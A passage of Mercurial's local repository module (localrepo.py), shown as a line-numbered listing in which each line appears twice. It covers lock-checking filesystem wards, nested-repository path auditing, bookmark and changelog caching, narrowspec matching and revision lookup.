1147 if self.ui.configbool(b'devel', b'all-warnings') or self.ui.configbool(
1148 b'devel', b'check-locks'
1148 b'devel', b'check-locks'
1149 ):
1149 ):
1150 if util.safehasattr(self.svfs, b'vfs'): # this is filtervfs
1150 if util.safehasattr(self.svfs, b'vfs'): # this is filtervfs
1151 self.svfs.vfs.audit = self._getsvfsward(self.svfs.vfs.audit)
1151 self.svfs.vfs.audit = self._getsvfsward(self.svfs.vfs.audit)
1152 else: # standard vfs
1152 else: # standard vfs
1153 self.svfs.audit = self._getsvfsward(self.svfs.audit)
1153 self.svfs.audit = self._getsvfsward(self.svfs.audit)
1154
1154
1155 self._dirstatevalidatewarned = False
1155 self._dirstatevalidatewarned = False
1156
1156
1157 self._branchcaches = branchmap.BranchMapCache()
1157 self._branchcaches = branchmap.BranchMapCache()
1158 self._revbranchcache = None
1158 self._revbranchcache = None
1159 self._filterpats = {}
1159 self._filterpats = {}
1160 self._datafilters = {}
1160 self._datafilters = {}
1161 self._transref = self._lockref = self._wlockref = None
1161 self._transref = self._lockref = self._wlockref = None
1162
1162
1163 # A cache for various files under .hg/ that tracks file changes,
1163 # A cache for various files under .hg/ that tracks file changes,
1164 # (used by the filecache decorator)
1164 # (used by the filecache decorator)
1165 #
1165 #
1166 # Maps a property name to its util.filecacheentry
1166 # Maps a property name to its util.filecacheentry
1167 self._filecache = {}
1167 self._filecache = {}
1168
1168
1169 # hold sets of revision to be filtered
1169 # hold sets of revision to be filtered
1170 # should be cleared when something might have changed the filter value:
1170 # should be cleared when something might have changed the filter value:
1171 # - new changesets,
1171 # - new changesets,
1172 # - phase change,
1172 # - phase change,
1173 # - new obsolescence marker,
1173 # - new obsolescence marker,
1174 # - working directory parent change,
1174 # - working directory parent change,
1175 # - bookmark changes
1175 # - bookmark changes
1176 self.filteredrevcache = {}
1176 self.filteredrevcache = {}
1177
1177
1178 # post-dirstate-status hooks
1178 # post-dirstate-status hooks
1179 self._postdsstatus = []
1179 self._postdsstatus = []
1180
1180
1181 # generic mapping between names and nodes
1181 # generic mapping between names and nodes
1182 self.names = namespaces.namespaces()
1182 self.names = namespaces.namespaces()
1183
1183
1184 # Key to signature value.
1184 # Key to signature value.
1185 self._sparsesignaturecache = {}
1185 self._sparsesignaturecache = {}
1186 # Signature to cached matcher instance.
1186 # Signature to cached matcher instance.
1187 self._sparsematchercache = {}
1187 self._sparsematchercache = {}
1188
1188
1189 self._extrafilterid = repoview.extrafilter(ui)
1189 self._extrafilterid = repoview.extrafilter(ui)
1190
1190
1191 self.filecopiesmode = None
1191 self.filecopiesmode = None
1192 if COPIESSDC_REQUIREMENT in self.requirements:
1192 if COPIESSDC_REQUIREMENT in self.requirements:
1193 self.filecopiesmode = b'changeset-sidedata'
1193 self.filecopiesmode = b'changeset-sidedata'
1194
1194
1195 def _getvfsward(self, origfunc):
1195 def _getvfsward(self, origfunc):
1196 """build a ward for self.vfs"""
1196 """build a ward for self.vfs"""
1197 rref = weakref.ref(self)
1197 rref = weakref.ref(self)
1198
1198
1199 def checkvfs(path, mode=None):
1199 def checkvfs(path, mode=None):
1200 ret = origfunc(path, mode=mode)
1200 ret = origfunc(path, mode=mode)
1201 repo = rref()
1201 repo = rref()
1202 if (
1202 if (
1203 repo is None
1203 repo is None
1204 or not util.safehasattr(repo, b'_wlockref')
1204 or not util.safehasattr(repo, b'_wlockref')
1205 or not util.safehasattr(repo, b'_lockref')
1205 or not util.safehasattr(repo, b'_lockref')
1206 ):
1206 ):
1207 return
1207 return
1208 if mode in (None, b'r', b'rb'):
1208 if mode in (None, b'r', b'rb'):
1209 return
1209 return
1210 if path.startswith(repo.path):
1210 if path.startswith(repo.path):
1211 # truncate name relative to the repository (.hg)
1211 # truncate name relative to the repository (.hg)
1212 path = path[len(repo.path) + 1 :]
1212 path = path[len(repo.path) + 1 :]
1213 if path.startswith(b'cache/'):
1213 if path.startswith(b'cache/'):
1214 msg = b'accessing cache with vfs instead of cachevfs: "%s"'
1214 msg = b'accessing cache with vfs instead of cachevfs: "%s"'
1215 repo.ui.develwarn(msg % path, stacklevel=3, config=b"cache-vfs")
1215 repo.ui.develwarn(msg % path, stacklevel=3, config=b"cache-vfs")
1216 if path.startswith(b'journal.') or path.startswith(b'undo.'):
1216 if path.startswith(b'journal.') or path.startswith(b'undo.'):
1217 # journal is covered by 'lock'
1217 # journal is covered by 'lock'
1218 if repo._currentlock(repo._lockref) is None:
1218 if repo._currentlock(repo._lockref) is None:
1219 repo.ui.develwarn(
1219 repo.ui.develwarn(
1220 b'write with no lock: "%s"' % path,
1220 b'write with no lock: "%s"' % path,
1221 stacklevel=3,
1221 stacklevel=3,
1222 config=b'check-locks',
1222 config=b'check-locks',
1223 )
1223 )
1224 elif repo._currentlock(repo._wlockref) is None:
1224 elif repo._currentlock(repo._wlockref) is None:
1225 # rest of vfs files are covered by 'wlock'
1225 # rest of vfs files are covered by 'wlock'
1226 #
1226 #
1227 # exclude special files
1227 # exclude special files
1228 for prefix in self._wlockfreeprefix:
1228 for prefix in self._wlockfreeprefix:
1229 if path.startswith(prefix):
1229 if path.startswith(prefix):
1230 return
1230 return
1231 repo.ui.develwarn(
1231 repo.ui.develwarn(
1232 b'write with no wlock: "%s"' % path,
1232 b'write with no wlock: "%s"' % path,
1233 stacklevel=3,
1233 stacklevel=3,
1234 config=b'check-locks',
1234 config=b'check-locks',
1235 )
1235 )
1236 return ret
1236 return ret
1237
1237
1238 return checkvfs
1238 return checkvfs
1239
1239
1240 def _getsvfsward(self, origfunc):
1240 def _getsvfsward(self, origfunc):
1241 """build a ward for self.svfs"""
1241 """build a ward for self.svfs"""
1242 rref = weakref.ref(self)
1242 rref = weakref.ref(self)
1243
1243
1244 def checksvfs(path, mode=None):
1244 def checksvfs(path, mode=None):
1245 ret = origfunc(path, mode=mode)
1245 ret = origfunc(path, mode=mode)
1246 repo = rref()
1246 repo = rref()
1247 if repo is None or not util.safehasattr(repo, b'_lockref'):
1247 if repo is None or not util.safehasattr(repo, b'_lockref'):
1248 return
1248 return
1249 if mode in (None, b'r', b'rb'):
1249 if mode in (None, b'r', b'rb'):
1250 return
1250 return
1251 if path.startswith(repo.sharedpath):
1251 if path.startswith(repo.sharedpath):
1252 # truncate name relative to the repository (.hg)
1252 # truncate name relative to the repository (.hg)
1253 path = path[len(repo.sharedpath) + 1 :]
1253 path = path[len(repo.sharedpath) + 1 :]
1254 if repo._currentlock(repo._lockref) is None:
1254 if repo._currentlock(repo._lockref) is None:
1255 repo.ui.develwarn(
1255 repo.ui.develwarn(
1256 b'write with no lock: "%s"' % path, stacklevel=4
1256 b'write with no lock: "%s"' % path, stacklevel=4
1257 )
1257 )
1258 return ret
1258 return ret
1259
1259
1260 return checksvfs
1260 return checksvfs
1261
1261
1262 def close(self):
1262 def close(self):
1263 self._writecaches()
1263 self._writecaches()
1264
1264
1265 def _writecaches(self):
1265 def _writecaches(self):
1266 if self._revbranchcache:
1266 if self._revbranchcache:
1267 self._revbranchcache.write()
1267 self._revbranchcache.write()
1268
1268
1269 def _restrictcapabilities(self, caps):
1269 def _restrictcapabilities(self, caps):
1270 if self.ui.configbool(b'experimental', b'bundle2-advertise'):
1270 if self.ui.configbool(b'experimental', b'bundle2-advertise'):
1271 caps = set(caps)
1271 caps = set(caps)
1272 capsblob = bundle2.encodecaps(
1272 capsblob = bundle2.encodecaps(
1273 bundle2.getrepocaps(self, role=b'client')
1273 bundle2.getrepocaps(self, role=b'client')
1274 )
1274 )
1275 caps.add(b'bundle2=' + urlreq.quote(capsblob))
1275 caps.add(b'bundle2=' + urlreq.quote(capsblob))
1276 return caps
1276 return caps
1277
1277
1278 def _writerequirements(self):
1278 def _writerequirements(self):
1279 scmutil.writerequires(self.vfs, self.requirements)
1279 scmutil.writerequires(self.vfs, self.requirements)
1280
1280
1281 # Don't cache auditor/nofsauditor, or you'll end up with reference cycle:
1281 # Don't cache auditor/nofsauditor, or you'll end up with reference cycle:
1282 # self -> auditor -> self._checknested -> self
1282 # self -> auditor -> self._checknested -> self
1283
1283
1284 @property
1284 @property
1285 def auditor(self):
1285 def auditor(self):
1286 # This is only used by context.workingctx.match in order to
1286 # This is only used by context.workingctx.match in order to
1287 # detect files in subrepos.
1287 # detect files in subrepos.
1288 return pathutil.pathauditor(self.root, callback=self._checknested)
1288 return pathutil.pathauditor(self.root, callback=self._checknested)
1289
1289
1290 @property
1290 @property
1291 def nofsauditor(self):
1291 def nofsauditor(self):
1292 # This is only used by context.basectx.match in order to detect
1292 # This is only used by context.basectx.match in order to detect
1293 # files in subrepos.
1293 # files in subrepos.
1294 return pathutil.pathauditor(
1294 return pathutil.pathauditor(
1295 self.root, callback=self._checknested, realfs=False, cached=True
1295 self.root, callback=self._checknested, realfs=False, cached=True
1296 )
1296 )
1297
1297
1298 def _checknested(self, path):
1298 def _checknested(self, path):
1299 """Determine if path is a legal nested repository."""
1299 """Determine if path is a legal nested repository."""
1300 if not path.startswith(self.root):
1300 if not path.startswith(self.root):
1301 return False
1301 return False
1302 subpath = path[len(self.root) + 1 :]
1302 subpath = path[len(self.root) + 1 :]
1303 normsubpath = util.pconvert(subpath)
1303 normsubpath = util.pconvert(subpath)
1304
1304
1305 # XXX: Checking against the current working copy is wrong in
1305 # XXX: Checking against the current working copy is wrong in
1306 # the sense that it can reject things like
1306 # the sense that it can reject things like
1307 #
1307 #
1308 # $ hg cat -r 10 sub/x.txt
1308 # $ hg cat -r 10 sub/x.txt
1309 #
1309 #
1310 # if sub/ is no longer a subrepository in the working copy
1310 # if sub/ is no longer a subrepository in the working copy
1311 # parent revision.
1311 # parent revision.
1312 #
1312 #
1313 # However, it can of course also allow things that would have
1313 # However, it can of course also allow things that would have
1314 # been rejected before, such as the above cat command if sub/
1314 # been rejected before, such as the above cat command if sub/
1315 # is a subrepository now, but was a normal directory before.
1315 # is a subrepository now, but was a normal directory before.
1316 # The old path auditor would have rejected by mistake since it
1316 # The old path auditor would have rejected by mistake since it
1317 # panics when it sees sub/.hg/.
1317 # panics when it sees sub/.hg/.
1318 #
1318 #
1319 # All in all, checking against the working copy seems sensible
1319 # All in all, checking against the working copy seems sensible
1320 # since we want to prevent access to nested repositories on
1320 # since we want to prevent access to nested repositories on
1321 # the filesystem *now*.
1321 # the filesystem *now*.
1322 ctx = self[None]
1322 ctx = self[None]
1323 parts = util.splitpath(subpath)
1323 parts = util.splitpath(subpath)
1324 while parts:
1324 while parts:
1325 prefix = b'/'.join(parts)
1325 prefix = b'/'.join(parts)
1326 if prefix in ctx.substate:
1326 if prefix in ctx.substate:
1327 if prefix == normsubpath:
1327 if prefix == normsubpath:
1328 return True
1328 return True
1329 else:
1329 else:
1330 sub = ctx.sub(prefix)
1330 sub = ctx.sub(prefix)
1331 return sub.checknested(subpath[len(prefix) + 1 :])
1331 return sub.checknested(subpath[len(prefix) + 1 :])
1332 else:
1332 else:
1333 parts.pop()
1333 parts.pop()
1334 return False
1334 return False
1335
1335
1336 def peer(self):
1336 def peer(self):
1337 return localpeer(self) # not cached to avoid reference cycle
1337 return localpeer(self) # not cached to avoid reference cycle
1338
1338
1339 def unfiltered(self):
1339 def unfiltered(self):
1340 """Return unfiltered version of the repository
1340 """Return unfiltered version of the repository
1341
1341
1342 Intended to be overwritten by filtered repo."""
1342 Intended to be overwritten by filtered repo."""
1343 return self
1343 return self
1344
1344
1345 def filtered(self, name, visibilityexceptions=None):
1345 def filtered(self, name, visibilityexceptions=None):
1346 """Return a filtered version of a repository
1346 """Return a filtered version of a repository
1347
1347
1348 The `name` parameter is the identifier of the requested view. This
1348 The `name` parameter is the identifier of the requested view. This
1349 will return a repoview object set "exactly" to the specified view.
1349 will return a repoview object set "exactly" to the specified view.
1350
1350
1351 This function does not apply recursive filtering to a repository. For
1351 This function does not apply recursive filtering to a repository. For
1352 example calling `repo.filtered("served")` will return a repoview using
1352 example calling `repo.filtered("served")` will return a repoview using
1353 the "served" view, regardless of the initial view used by `repo`.
1353 the "served" view, regardless of the initial view used by `repo`.
1354
1354
1355 In other word, there is always only one level of `repoview` "filtering".
1355 In other word, there is always only one level of `repoview` "filtering".
1356 """
1356 """
1357 if self._extrafilterid is not None and b'%' not in name:
1357 if self._extrafilterid is not None and b'%' not in name:
1358 name = name + b'%' + self._extrafilterid
1358 name = name + b'%' + self._extrafilterid
1359
1359
1360 cls = repoview.newtype(self.unfiltered().__class__)
1360 cls = repoview.newtype(self.unfiltered().__class__)
1361 return cls(self, name, visibilityexceptions)
1361 return cls(self, name, visibilityexceptions)
1362
1362
1363 @mixedrepostorecache(
1363 @mixedrepostorecache(
1364 (b'bookmarks', b'plain'),
1364 (b'bookmarks', b'plain'),
1365 (b'bookmarks.current', b'plain'),
1365 (b'bookmarks.current', b'plain'),
1366 (b'bookmarks', b''),
1366 (b'bookmarks', b''),
1367 (b'00changelog.i', b''),
1367 (b'00changelog.i', b''),
1368 )
1368 )
1369 def _bookmarks(self):
1369 def _bookmarks(self):
1370 # Since the multiple files involved in the transaction cannot be
1370 # Since the multiple files involved in the transaction cannot be
1371 # written atomically (with current repository format), there is a race
1371 # written atomically (with current repository format), there is a race
1372 # condition here.
1372 # condition here.
1373 #
1373 #
1374 # 1) changelog content A is read
1374 # 1) changelog content A is read
1375 # 2) outside transaction update changelog to content B
1375 # 2) outside transaction update changelog to content B
1376 # 3) outside transaction update bookmark file referring to content B
1376 # 3) outside transaction update bookmark file referring to content B
1377 # 4) bookmarks file content is read and filtered against changelog-A
1377 # 4) bookmarks file content is read and filtered against changelog-A
1378 #
1378 #
1379 # When this happens, bookmarks against nodes missing from A are dropped.
1379 # When this happens, bookmarks against nodes missing from A are dropped.
1380 #
1380 #
1381 # Having this happening during read is not great, but it become worse
1381 # Having this happening during read is not great, but it become worse
1382 # when this happen during write because the bookmarks to the "unknown"
1382 # when this happen during write because the bookmarks to the "unknown"
1383 # nodes will be dropped for good. However, writes happen within locks.
1383 # nodes will be dropped for good. However, writes happen within locks.
1384 # This locking makes it possible to have a race free consistent read.
1384 # This locking makes it possible to have a race free consistent read.
1385 # For this purpose data read from disc before locking are
1385 # For this purpose data read from disc before locking are
1386 # "invalidated" right after the locks are taken. This invalidations are
1386 # "invalidated" right after the locks are taken. This invalidations are
1387 # "light", the `filecache` mechanism keep the data in memory and will
1387 # "light", the `filecache` mechanism keep the data in memory and will
1388 # reuse them if the underlying files did not changed. Not parsing the
1388 # reuse them if the underlying files did not changed. Not parsing the
1389 # same data multiple times helps performances.
1389 # same data multiple times helps performances.
1390 #
1390 #
1391 # Unfortunately in the case describe above, the files tracked by the
1391 # Unfortunately in the case describe above, the files tracked by the
1392 # bookmarks file cache might not have changed, but the in-memory
1392 # bookmarks file cache might not have changed, but the in-memory
1393 # content is still "wrong" because we used an older changelog content
1393 # content is still "wrong" because we used an older changelog content
1394 # to process the on-disk data. So after locking, the changelog would be
1394 # to process the on-disk data. So after locking, the changelog would be
1395 # refreshed but `_bookmarks` would be preserved.
1395 # refreshed but `_bookmarks` would be preserved.
1396 # Adding `00changelog.i` to the list of tracked file is not
1396 # Adding `00changelog.i` to the list of tracked file is not
1397 # enough, because at the time we build the content for `_bookmarks` in
1397 # enough, because at the time we build the content for `_bookmarks` in
1398 # (4), the changelog file has already diverged from the content used
1398 # (4), the changelog file has already diverged from the content used
1399 # for loading `changelog` in (1)
1399 # for loading `changelog` in (1)
1400 #
1400 #
1401 # To prevent the issue, we force the changelog to be explicitly
1401 # To prevent the issue, we force the changelog to be explicitly
1402 # reloaded while computing `_bookmarks`. The data race can still happen
1402 # reloaded while computing `_bookmarks`. The data race can still happen
1403 # without the lock (with a narrower window), but it would no longer go
1403 # without the lock (with a narrower window), but it would no longer go
1404 # undetected during the lock time refresh.
1404 # undetected during the lock time refresh.
1405 #
1405 #
1406 # The new schedule is as follow
1406 # The new schedule is as follow
1407 #
1407 #
1408 # 1) filecache logic detect that `_bookmarks` needs to be computed
1408 # 1) filecache logic detect that `_bookmarks` needs to be computed
1409 # 2) cachestat for `bookmarks` and `changelog` are captured (for book)
1409 # 2) cachestat for `bookmarks` and `changelog` are captured (for book)
1410 # 3) We force `changelog` filecache to be tested
1410 # 3) We force `changelog` filecache to be tested
1411 # 4) cachestat for `changelog` are captured (for changelog)
1411 # 4) cachestat for `changelog` are captured (for changelog)
1412 # 5) `_bookmarks` is computed and cached
1412 # 5) `_bookmarks` is computed and cached
1413 #
1413 #
1414 # The step in (3) ensure we have a changelog at least as recent as the
1414 # The step in (3) ensure we have a changelog at least as recent as the
1415 # cache stat computed in (1). As a result at locking time:
1415 # cache stat computed in (1). As a result at locking time:
1416 # * if the changelog did not changed since (1) -> we can reuse the data
1416 # * if the changelog did not changed since (1) -> we can reuse the data
1417 # * otherwise -> the bookmarks get refreshed.
1417 # * otherwise -> the bookmarks get refreshed.
1418 self._refreshchangelog()
1418 self._refreshchangelog()
1419 return bookmarks.bmstore(self)
1419 return bookmarks.bmstore(self)
1420
1420
1421 def _refreshchangelog(self):
1421 def _refreshchangelog(self):
1422 """make sure the in memory changelog match the on-disk one"""
1422 """make sure the in memory changelog match the on-disk one"""
1423 if 'changelog' in vars(self) and self.currenttransaction() is None:
1423 if 'changelog' in vars(self) and self.currenttransaction() is None:
1424 del self.changelog
1424 del self.changelog
1425
1425
1426 @property
1426 @property
1427 def _activebookmark(self):
1427 def _activebookmark(self):
1428 return self._bookmarks.active
1428 return self._bookmarks.active
1429
1429
1430 # _phasesets depend on changelog. what we need is to call
1430 # _phasesets depend on changelog. what we need is to call
1431 # _phasecache.invalidate() if '00changelog.i' was changed, but it
1431 # _phasecache.invalidate() if '00changelog.i' was changed, but it
1432 # can't be easily expressed in filecache mechanism.
1432 # can't be easily expressed in filecache mechanism.
1433 @storecache(b'phaseroots', b'00changelog.i')
1433 @storecache(b'phaseroots', b'00changelog.i')
1434 def _phasecache(self):
1434 def _phasecache(self):
1435 return phases.phasecache(self, self._phasedefaults)
1435 return phases.phasecache(self, self._phasedefaults)
1436
1436
1437 @storecache(b'obsstore')
1437 @storecache(b'obsstore')
1438 def obsstore(self):
1438 def obsstore(self):
1439 return obsolete.makestore(self.ui, self)
1439 return obsolete.makestore(self.ui, self)
1440
1440
1441 @storecache(b'00changelog.i')
1441 @storecache(b'00changelog.i')
1442 def changelog(self):
1442 def changelog(self):
1443 return self.store.changelog(txnutil.mayhavepending(self.root))
1443 return self.store.changelog(txnutil.mayhavepending(self.root))
1444
1444
1445 @storecache(b'00manifest.i')
1445 @storecache(b'00manifest.i')
1446 def manifestlog(self):
1446 def manifestlog(self):
1447 return self.store.manifestlog(self, self._storenarrowmatch)
1447 return self.store.manifestlog(self, self._storenarrowmatch)
1448
1448
1449 @repofilecache(b'dirstate')
1449 @repofilecache(b'dirstate')
1450 def dirstate(self):
1450 def dirstate(self):
1451 return self._makedirstate()
1451 return self._makedirstate()
1452
1452
1453 def _makedirstate(self):
1453 def _makedirstate(self):
1454 """Extension point for wrapping the dirstate per-repo."""
1454 """Extension point for wrapping the dirstate per-repo."""
1455 sparsematchfn = lambda: sparse.matcher(self)
1455 sparsematchfn = lambda: sparse.matcher(self)
1456
1456
1457 return dirstate.dirstate(
1457 return dirstate.dirstate(
1458 self.vfs, self.ui, self.root, self._dirstatevalidate, sparsematchfn
1458 self.vfs, self.ui, self.root, self._dirstatevalidate, sparsematchfn
1459 )
1459 )
1460
1460
1461 def _dirstatevalidate(self, node):
1461 def _dirstatevalidate(self, node):
1462 try:
1462 try:
1463 self.changelog.rev(node)
1463 self.changelog.rev(node)
1464 return node
1464 return node
1465 except error.LookupError:
1465 except error.LookupError:
1466 if not self._dirstatevalidatewarned:
1466 if not self._dirstatevalidatewarned:
1467 self._dirstatevalidatewarned = True
1467 self._dirstatevalidatewarned = True
1468 self.ui.warn(
1468 self.ui.warn(
1469 _(b"warning: ignoring unknown working parent %s!\n")
1469 _(b"warning: ignoring unknown working parent %s!\n")
1470 % short(node)
1470 % short(node)
1471 )
1471 )
1472 return nullid
1472 return nullid
1473
1473
1474 @storecache(narrowspec.FILENAME)
1474 @storecache(narrowspec.FILENAME)
1475 def narrowpats(self):
1475 def narrowpats(self):
1476 """matcher patterns for this repository's narrowspec
1476 """matcher patterns for this repository's narrowspec
1477
1477
1478 A tuple of (includes, excludes).
1478 A tuple of (includes, excludes).
1479 """
1479 """
1480 return narrowspec.load(self)
1480 return narrowspec.load(self)
1481
1481
1482 @storecache(narrowspec.FILENAME)
1482 @storecache(narrowspec.FILENAME)
1483 def _storenarrowmatch(self):
1483 def _storenarrowmatch(self):
1484 if repository.NARROW_REQUIREMENT not in self.requirements:
1484 if repository.NARROW_REQUIREMENT not in self.requirements:
1485 return matchmod.always()
1485 return matchmod.always()
1486 include, exclude = self.narrowpats
1486 include, exclude = self.narrowpats
1487 return narrowspec.match(self.root, include=include, exclude=exclude)
1487 return narrowspec.match(self.root, include=include, exclude=exclude)
1488
1488
1489 @storecache(narrowspec.FILENAME)
1489 @storecache(narrowspec.FILENAME)
1490 def _narrowmatch(self):
1490 def _narrowmatch(self):
1491 if repository.NARROW_REQUIREMENT not in self.requirements:
1491 if repository.NARROW_REQUIREMENT not in self.requirements:
1492 return matchmod.always()
1492 return matchmod.always()
1493 narrowspec.checkworkingcopynarrowspec(self)
1493 narrowspec.checkworkingcopynarrowspec(self)
1494 include, exclude = self.narrowpats
1494 include, exclude = self.narrowpats
1495 return narrowspec.match(self.root, include=include, exclude=exclude)
1495 return narrowspec.match(self.root, include=include, exclude=exclude)
1496
1496
1497 def narrowmatch(self, match=None, includeexact=False):
1497 def narrowmatch(self, match=None, includeexact=False):
1498 """matcher corresponding the the repo's narrowspec
1498 """matcher corresponding the the repo's narrowspec
1499
1499
1500 If `match` is given, then that will be intersected with the narrow
1500 If `match` is given, then that will be intersected with the narrow
1501 matcher.
1501 matcher.
1502
1502
1503 If `includeexact` is True, then any exact matches from `match` will
1503 If `includeexact` is True, then any exact matches from `match` will
1504 be included even if they're outside the narrowspec.
1504 be included even if they're outside the narrowspec.
1505 """
1505 """
1506 if match:
1506 if match:
1507 if includeexact and not self._narrowmatch.always():
1507 if includeexact and not self._narrowmatch.always():
1508 # do not exclude explicitly-specified paths so that they can
1508 # do not exclude explicitly-specified paths so that they can
1509 # be warned later on
1509 # be warned later on
1510 em = matchmod.exact(match.files())
1510 em = matchmod.exact(match.files())
1511 nm = matchmod.unionmatcher([self._narrowmatch, em])
1511 nm = matchmod.unionmatcher([self._narrowmatch, em])
1512 return matchmod.intersectmatchers(match, nm)
1512 return matchmod.intersectmatchers(match, nm)
1513 return matchmod.intersectmatchers(match, self._narrowmatch)
1513 return matchmod.intersectmatchers(match, self._narrowmatch)
1514 return self._narrowmatch
1514 return self._narrowmatch
1515
1515
1516 def setnarrowpats(self, newincludes, newexcludes):
1516 def setnarrowpats(self, newincludes, newexcludes):
1517 narrowspec.save(self, newincludes, newexcludes)
1517 narrowspec.save(self, newincludes, newexcludes)
1518 self.invalidate(clearfilecache=True)
1518 self.invalidate(clearfilecache=True)
1519
1519
1520 @util.propertycache
1520 @util.propertycache
1521 def _quick_access_changeid(self):
1521 def _quick_access_changeid(self):
1522 """an helper dictionnary for __getitem__ calls
1522 """an helper dictionnary for __getitem__ calls
1523
1523
1524 This contains a list of symbol we can recognise right away without
1524 This contains a list of symbol we can recognise right away without
1525 further processing.
1525 further processing.
1526 """
1526 """
1527 return {
1527 return {
1528 b'null': (nullrev, nullid),
1528 b'null': (nullrev, nullid),
1529 nullrev: (nullrev, nullid),
1529 nullrev: (nullrev, nullid),
1530 nullid: (nullrev, nullid),
1530 nullid: (nullrev, nullid),
1531 }
1531 }
1532
1532
1533 def __getitem__(self, changeid):
1533 def __getitem__(self, changeid):
1534 # dealing with special cases
1534 # dealing with special cases
1535 if changeid is None:
1535 if changeid is None:
1536 return context.workingctx(self)
1536 return context.workingctx(self)
1537 if isinstance(changeid, context.basectx):
1537 if isinstance(changeid, context.basectx):
1538 return changeid
1538 return changeid
1539
1539
1540 # dealing with multiple revisions
1540 # dealing with multiple revisions
1541 if isinstance(changeid, slice):
1541 if isinstance(changeid, slice):
1542 # wdirrev isn't contiguous so the slice shouldn't include it
1542 # wdirrev isn't contiguous so the slice shouldn't include it
1543 return [
1543 return [
1544 self[i]
1544 self[i]
1545 for i in pycompat.xrange(*changeid.indices(len(self)))
1545 for i in pycompat.xrange(*changeid.indices(len(self)))
1546 if i not in self.changelog.filteredrevs
1546 if i not in self.changelog.filteredrevs
1547 ]
1547 ]
1548
1548
1549 # dealing with some special values
1549 # dealing with some special values
1550 quick_access = self._quick_access_changeid.get(changeid)
1550 quick_access = self._quick_access_changeid.get(changeid)
1551 if quick_access is not None:
1551 if quick_access is not None:
1552 rev, node = quick_access
1552 rev, node = quick_access
1553 return context.changectx(self, rev, node, maybe_filtered=False)
1553 return context.changectx(self, rev, node, maybe_filtered=False)
1554 if changeid == b'tip':
1554 if changeid == b'tip':
1555 node = self.changelog.tip()
1555 node = self.changelog.tip()
1556 rev = self.changelog.rev(node)
1556 rev = self.changelog.rev(node)
1557 return context.changectx(self, rev, node)
1557 return context.changectx(self, rev, node)
1558
1558
1559 # dealing with arbitrary values
1559 # dealing with arbitrary values
1560 try:
1560 try:
1561 if isinstance(changeid, int):
1561 if isinstance(changeid, int):
1562 node = self.changelog.node(changeid)
1562 node = self.changelog.node(changeid)
1563 rev = changeid
1563 rev = changeid
1564 elif changeid == b'.':
1564 elif changeid == b'.':
1565 # this is a hack to delay/avoid loading obsmarkers
1565 # this is a hack to delay/avoid loading obsmarkers
1566 # when we know that '.' won't be hidden
1566 # when we know that '.' won't be hidden
1567 node = self.dirstate.p1()
1567 node = self.dirstate.p1()
1568 rev = self.unfiltered().changelog.rev(node)
1568 rev = self.unfiltered().changelog.rev(node)
1569 elif len(changeid) == 20:
1569 elif len(changeid) == 20:
1570 try:
1570 try:
1571 node = changeid
1571 node = changeid
1572 rev = self.changelog.rev(changeid)
1572 rev = self.changelog.rev(changeid)
1573 except error.FilteredLookupError:
1573 except error.FilteredLookupError:
1574 changeid = hex(changeid) # for the error message
1574 changeid = hex(changeid) # for the error message
1575 raise
1575 raise
1576 except LookupError:
1576 except LookupError:
1577 # check if it might have come from damaged dirstate
1577 # check if it might have come from damaged dirstate
1578 #
1578 #
1579 # XXX we could avoid the unfiltered if we had a recognizable
1579 # XXX we could avoid the unfiltered if we had a recognizable
1580 # exception for filtered changeset access
1580 # exception for filtered changeset access
1581 if (
1581 if (
1582 self.local()
1582 self.local()
1583 and changeid in self.unfiltered().dirstate.parents()
1583 and changeid in self.unfiltered().dirstate.parents()
1584 ):
1584 ):
1585 msg = _(b"working directory has unknown parent '%s'!")
1585 msg = _(b"working directory has unknown parent '%s'!")
1586 raise error.Abort(msg % short(changeid))
1586 raise error.Abort(msg % short(changeid))
1587 changeid = hex(changeid) # for the error message
1587 changeid = hex(changeid) # for the error message
1588 raise
1588 raise
1589
1589
1590 elif len(changeid) == 40:
1590 elif len(changeid) == 40:
1591 node = bin(changeid)
1591 node = bin(changeid)
1592 rev = self.changelog.rev(node)
1592 rev = self.changelog.rev(node)
1593 else:
1593 else:
1594 raise error.ProgrammingError(
1594 raise error.ProgrammingError(
1595 b"unsupported changeid '%s' of type %s"
1595 b"unsupported changeid '%s' of type %s"
1596 % (changeid, pycompat.bytestr(type(changeid)))
1596 % (changeid, pycompat.bytestr(type(changeid)))
1597 )
1597 )
1598
1598
1599 return context.changectx(self, rev, node)
1599 return context.changectx(self, rev, node)
1600
1600
1601 except (error.FilteredIndexError, error.FilteredLookupError):
1601 except (error.FilteredIndexError, error.FilteredLookupError):
1602 raise error.FilteredRepoLookupError(
1602 raise error.FilteredRepoLookupError(
1603 _(b"filtered revision '%s'") % pycompat.bytestr(changeid)
1603 _(b"filtered revision '%s'") % pycompat.bytestr(changeid)
1604 )
1604 )
1605 except (IndexError, LookupError):
1605 except (IndexError, LookupError):
1606 raise error.RepoLookupError(
1606 raise error.RepoLookupError(
1607 _(b"unknown revision '%s'") % pycompat.bytestr(changeid)
1607 _(b"unknown revision '%s'") % pycompat.bytestr(changeid)
1608 )
1608 )
1609 except error.WdirUnsupported:
1609 except error.WdirUnsupported:
1610 return context.workingctx(self)
1610 return context.workingctx(self)
1611
1611
1612 def __contains__(self, changeid):
1612 def __contains__(self, changeid):
1613 """True if the given changeid exists
1613 """True if the given changeid exists
1614
1614
1615 error.AmbiguousPrefixLookupError is raised if an ambiguous node
1615 error.AmbiguousPrefixLookupError is raised if an ambiguous node
1616 specified.
1616 specified.
1617 """
1617 """
1618 try:
1618 try:
1619 self[changeid]
1619 self[changeid]
1620 return True
1620 return True
1621 except error.RepoLookupError:
1621 except error.RepoLookupError:
1622 return False
1622 return False
1623
1623
1624 def __nonzero__(self):
1624 def __nonzero__(self):
1625 return True
1625 return True
1626
1626
1627 __bool__ = __nonzero__
1627 __bool__ = __nonzero__
1628
1628
1629 def __len__(self):
1629 def __len__(self):
1630 # no need to pay the cost of repoview.changelog
1630 # no need to pay the cost of repoview.changelog
1631 unfi = self.unfiltered()
1631 unfi = self.unfiltered()
1632 return len(unfi.changelog)
1632 return len(unfi.changelog)
1633
1633
1634 def __iter__(self):
1634 def __iter__(self):
1635 return iter(self.changelog)
1635 return iter(self.changelog)
1636
1636
1637 def revs(self, expr, *args):
1637 def revs(self, expr, *args):
1638 '''Find revisions matching a revset.
1638 '''Find revisions matching a revset.
1639
1639
1640 The revset is specified as a string ``expr`` that may contain
1640 The revset is specified as a string ``expr`` that may contain
1641 %-formatting to escape certain types. See ``revsetlang.formatspec``.
1641 %-formatting to escape certain types. See ``revsetlang.formatspec``.
1642
1642
1643 Revset aliases from the configuration are not expanded. To expand
